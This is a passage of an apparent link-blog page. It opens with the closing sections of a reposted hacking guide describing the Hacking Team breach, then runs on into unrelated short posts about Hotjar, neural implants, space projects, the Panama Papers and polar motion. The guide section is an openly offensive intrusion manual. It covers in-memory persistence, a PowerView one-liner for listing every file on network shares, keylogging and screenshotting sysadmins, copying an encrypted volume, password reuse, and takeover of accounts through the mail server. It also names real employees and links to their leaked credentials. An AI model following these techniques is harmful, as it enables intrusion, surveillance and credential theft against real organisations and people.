https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1 ----[ 13.2 - Persistence ]------------------------------------------------------ Once you have access, you want to keep it. Really, persistence is only a challenge for assholes like Hacking Team who target activists and other individuals. To hack companies, persistence isn't needed since companies never sleep. I always use Duqu 2 style "persistence", executing in RAM on a couple high-uptime servers. On the off chance that they all reboot at the same time, I have passwords and a golden ticket [1] as backup access. You can read more about the different techniques for persistence in windows here [2][3][4]. But for hacking companies, it's not needed and it increases the risk of detection. [1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/ [2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/ [3] http://www.hexacorn.com/blog/category/autostart-persistence/ [4] https://blog.netspi.com/tag/persistence/ ----[ 13.3 - Internal reconnaissance ]------------------------------------------ The best tool these days for understanding windows networks is Powerview [1]. It's worth reading everything written by it's author [2], especially [3], [4], [5], and [6]. Powershell itself is also quite powerful [7]. As there are still many windows 2000 and 2003 servers without powershell, you also have to learn the old school [8], with programs like netview.exe [9] or the windows builtin "net view". Other techniques that I like are: 1) Downloading a list of file names With a Domain Admin account, you can download a list of all filenames in the network with powerview: Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ | select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] | select fullname | out-file -append files.txt} Later, you can read it at your leisure and choose which files to download. 2) Reading email As we've already seen, you can download email with powershell, and it has a lot of useful information. 3) Reading sharepoint It's another place where many businesses store a lot of important information. It can also be downloaded with powershell [10]. 4) Active Directory [11] It has a lot of useful information about users and computers. Without being Domain Admin, you can already get a lot of info with powerview and other tools [12]. After getting Domain Admin, you should export all the AD information with csvde or another tool. 5) Spy on the employees One of my favorite hobbies is hunting sysadmins. Spying on Christian Pozzi (one of Hacking Team's sysadmins) gave me access to a Nagios server which gave me access to the rete sviluppo (development network with the source code of RCS). With a simple combination of Get-Keystrokes and Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration from nishang [14], and GPO, you can spy on any employee, or even on the whole domain. [1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView [2] http://www.harmj0y.net/blog/tag/powerview/ [3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/ [4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/ [5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/ [6] http://www.slideshare.net/harmj0y/i-have-the-powerview [7] https://adsecurity.org/?p=2535 [8] https://www.youtube.com/watch?v=rpwrKhgMd7E [9] https://github.com/mubix/netview [10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/ [11] https://adsecurity.org/?page_id=41 [12] http://www.darkoperator.com/?tag=Active+Directory [13] https://github.com/PowerShellMafia/PowerSploit [14] https://github.com/samratashok/nishang --[ 14 - Hunting Sysadmins ]---------------------------------------------------- Reading their documentation about their infrastructure [1], I saw that I was still missing access to something important - the "Rete Sviluppo", an isolated network with the source code for RCS. The sysadmins of a company always have access to everything, so I searched the computers of Mauro Romeo and Christian Pozzi to see how they administer the Sviluppo network, and to see if there were any other interesting systems I should investigate. It was simple to access their computers, since they were part of the windows domain where I'd already gotten admin access. Mauro Romeo's computer didn't have any ports open, so I opened the port for WMI [2] and executed meterpreter [3]. In addition to keylogging and screen scraping with Get-Keystrokes and Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1 [4], and searched for interesting files [5]. Upon seeing that Pozzi had a Truecrypt volume, I waited until he'd mounted it and then copied off the files. Many have made fun of Christian Pozzi's weak passwords (and of Christian Pozzi in general, he provides plenty of material [6][7][8][9]). I included them in the leak as a false clue, and to laugh at him. The reality is that mimikatz and keyloggers view all passwords equally. [1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/ [2] http://www.hammer-software.com/wmigphowto.shtml [3] https://www.trustedsec.com/june-2015/no_psexec_needed/ [4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde [5] http://pwnwiki.io/#!presence/windows/find_files.md [6] http://archive.is/TbaPy [7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/ [8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt [9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/ --[ 15 - The bridge ]----------------------------------------------------------- Within Christian Pozzi's Truecrypt volume, there was a textfile with many passwords [1]. One of those was for a Fully Automated Nagios server, which had access to the Sviluppo network in order to monitor it. I'd found the bridge I needed. The textfile just had the password to the web interface, but there was a public code execution exploit [2] (it's an unauthenticated exploit, but it requires that at least one user has a session initiated, for which I used the password from the textfile). [1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt [2] http://seclists.org/fulldisclosure/2014/Oct/78 --[ 16 - Reusing and resetting passwords ]-------------------------------------- Reading the emails, I'd seen Daniele Milan granting access to git repos. I already had his windows password thanks to mimikatz. I tried it on the git server and it worked. Then I tried sudo and it worked. For the gitlab server and their twitter account, I used the "forgot my password" function along with my access to their mail server to reset the passwords. --[ 17 - Conclusion ]----------------------------------------------------------- That's all it takes to take down a company and stop their human rights abuses. That's the beauty and asymmetry of hacking: with 100 hours of work, one person can undo years of work by a multi-million dollar company. Hacking gives the underdog a chance to fight and win. Hacking guides often end with a disclaimer: this information is for educational purposes only, be an ethical hacker, don't attack systems you don't have permission to, etc. I'll say the same, but with a more rebellious conception of "ethical" hacking. Leaking documents, expropriating money from banks, and working to secure the computers of ordinary people is ethical hacking. However, most people that call themselves "ethical hackers" just work to secure those who pay their high consulting fees, who are often those most deserving to be hacked. Hacking Team saw themselves as part of a long line of inspired Italian design [1]. I see Vincenzetti, his company, his cronies in the police, Carabinieri, and government, as part of a long tradition of Italian fascism. I'd like to dedicate this guide to the victims of the raid on the Armando Diaz school, and to all those who have had their blood spilled by Italian fascists. [1] https://twitter.com/coracurrier/status/618104723263090688 --[ 18 - Contact ]-------------------------------------------------------------- To send me spear phishing attempts, death threats in Italian [1][2], and to give me 0days or access inside banks, corporations, governments, etc. [1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/ [2] https://twitter.com/CthulhuSec/status/619459002854977537 only encrypted email please: https://securityinabox.org/es/thunderbird_usarenigmail -----BEGIN PGP PUBLIC KEY BLOCK----- mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g 27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA8x +fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE73h VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8 Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf cQE+IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0 JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys 4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJX8 X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2Ai oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHllxOAy9 WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YUo jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK CRA0nD0R6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHRq Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k =E5+y -----END PGP PUBLIC KEY BLOCK----- If not you, who? If not now, when? _ _ _ ____ _ _ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| | | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / | | _ | (_| | (__| < | |_) | (_| | (__| <|_| |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_) Pastebin source

    Hotjar – Records mouse behaviour to see where visitors are scrolling, mousing and clicking to make heatmaps

    Hotjar is a new and easy way to truly understand your web and mobile site visitors.

    Source: Hotjar – Heatmaps, Visitor Recordings, Conversion Funnels, Form Analytics, Feedback Polls and Surveys in One Platform

    I’ve been seeing this on more and more sites recently. They state that the service is cheap (but no pricing to be found) and I’m very curious if they keep your data and link it to you as a person on multiple tracked sites?

    Brain link bypasses spine to control hands

    Here we show that intracortically recorded signals can be linked in real-time to muscle activation to restore movement in a paralysed human. We used a chronically implanted intracortical microelectrode array to record multiunit activity from the motor cortex in a study participant with quadriplegia from cervical spinal cord injury. We applied machine-learning algorithms to decode the neuronal activity and control activation of the participant’s forearm muscles through a custom-built high-resolution neuromuscular electrical stimulation system. The system provided isolated finger movements and the participant achieved continuous cortical control of six different wrist and hand motions. Furthermore, he was able to use the system to complete functional tasks relevant to daily living.

    Source: Restoring cortical control of functional movement in a human with quadriplegia : Nature : Nature Publishing Group

    The man managed to pour drinks, play guitar hero, swipe credit cards. Good stuff.

    All Prior Art – generating patent applications and giving them away, helping kill patent trolls

    All Prior Art is a project attempting to algorithmically create and publicly publish all possible new prior art, thereby making the published concepts not patent-able. The concept is to democratize ideas, provide an impetus for change in the patent system, and to preempt patent trolls. The system works by pulling text from the entire database of US issued and published (un-approved) patents and creating prior art from the patent language. While most inventions generated will be nonsensical, the cost to computationally create and publish millions of ideas is nearly zero – which allows for a higher probability of possible valid prior art.
    […]
    The particular Creative Commons license was chosen to prevent commercial use of the text along with restricting derivatives, since the point of the prior art is to be publicly published unmodified (as it is to be a valid reference point)
    […]
    -The intent is not to prevent actual creative and innovative patents from being filed, it is to take the obvious and easily automated ideas out-of-play. If an idea is truly creative and innovative, a computer should have difficulty coming up with it.

    Source: About – All Prior Art

    Bigelow Aerospace and United Launch Alliance announce plans for inflatable space station modules

    The volumes will be based on the Bigelow Aerospace B330 expandable module with the initial launch to orbit in 2020 on ULA’s Atlas V 552 configuration launch vehicle. The B330 will have 330 cubic meters (12,000 cu ft) of internal space. The craft will support zero-gravity research including scientific missions and manufacturing processes. Beyond its industrial and scientific purposes, however, it has potential as a destination for space tourism and a craft for missions destined for the Moon and Mars.

    Source: Bigelow Aerospace and United Launch Alliance Join Forces to Foster a New Era of Sustainable Commercialization in Low Earth Orbit

    Stephen Hawking and a Russian Billionaire Want to Build tiny Interstellar Starships

    Last year, the search for extraterrestrial intelligence got a major boost when Russian billionaire Yuri Milner unveiled a $100 million effort to scan the skies for radio and light signals emitted by aliens. Not content to simply sit tight and wait for ET to hail us, Milner now plans to build interstellar spacecraft. Yes, you heard that correctly.

    Source: Stephen Hawking and a Russian Billionaire Want to Build an Interstellar Starship

    Rafael unveils “Drone Dome” anti-UAV system

    The all-weather Drone Dome has 360° circular coverage, and uses an electro-optical/infrared sensor and radar to detect a threat. The data is then combined and correlated and alerts the operator of the hostile UAV. The system initiates either an automatic interference operation – as per pre-defined rules – or it is carried out manually by the operator. The threat is neutralised by activation of directional GNSS and a radiofrequency inhibitor/jammer.

    Source: Rafael unveils “Drone Dome” anti-UAV system

    Panama Papers – why are people hiding their money offshore anyway?

    So, with the Panama papers, governments are cracking down on tax dodgers. In the Netherlands the minister wants to increase the penalty for giving up your hidden funds to 300% plus back taxes plus interest. The claim is that it’s not fair, because poor people don’t have enough money to dodge taxes and so have to pay the full amount. Not much thought seems to be given anywhere on why there are so many tax dodgers. In the Netherlands there are only 4 tax categories, with the highest starting at € 66.422 and being taxed at 52%. This basically puts everyone in the top tax bracket, where the government takes more of your earnings than you receive yourself. To me this looks like blatant theft. Anyway, after you’ve earned the money and paid the taxes, you’re left with 21% VAT on every purchase you make thereafter. Should you be lucky enough to have some left after this highway robbery, currently they tax you 30% of what you have left. Next year, they will tax small savers less and large savers more. This formula only goes for earnings from salaried income. If you run your own business (which in the Netherlands 9% of the total population does: and which is probably around 30-40% of the total working population) the amount taken from you by taxes is far, far higher and you generally don’t have the social safety net to fall into. Now from where I’m standing, being fleeced by the government again and again and again isn’t particularly fair. Taxing people at the bottom of the earnings scale the same percentage as people at the top isn’t fair – which is why we got rid of poll taxes.

    I’m not surprised that people don’t consider it immoral to hide their money from the money grubbing hands of governments who misspend their money on overly huge projects time and again.

    In order to solve this problem, the tax system needs a major restructuring, with many many more tax brackets, running up to a maximum fair percentage, taking into account the much larger diversity of incomes since the 1980s. Only then will government highwaymen be able to claim a moral high ground over tax dodgers.

    Why are our planets’ poles moving? Water.

    It turns out to be two factors:
    1. Polar ice is melting.
    2. We are storing water in different places and moving it around the planet using piping.
    These factors redistribute the weight of the water around the planet, making the poles wander around.

    We analyze space geodetic and satellite gravimetric data for the period 2003–2015 to show that all of the main features of polar motion are explained by global-scale continent-ocean mass transport. The changes in terrestrial water storage (TWS) and global cryosphere together explain nearly the entire amplitude (83 ± 23%) and mean directional shift (within 5.9° ± 7.6°) of the observed motion. We also find that the TWS variability fully explains the decadal-like changes in polar motion

    Source: Climate-driven polar motion: 2003–2015

    CIA’s Fundings Clearista Skin Care Products That Collect DNA among other markers for health

    Clearista products were designed with medical applications in mind before they became beauty products. The idea was that removing the product got you access to traces or biological markers that give an insight into the health of a person. They also cover blemishes and dark spots on the skin. So the CIA is interested, as DNA is one of the markers they can pick up. They use their vehicle In-Q-Tel (IQT) to fund Skincential Sciences, which produces Clearista (among other products)

    Source: CIA’s Venture Capital Arm Is Funding Skin Care Products That Collect DNA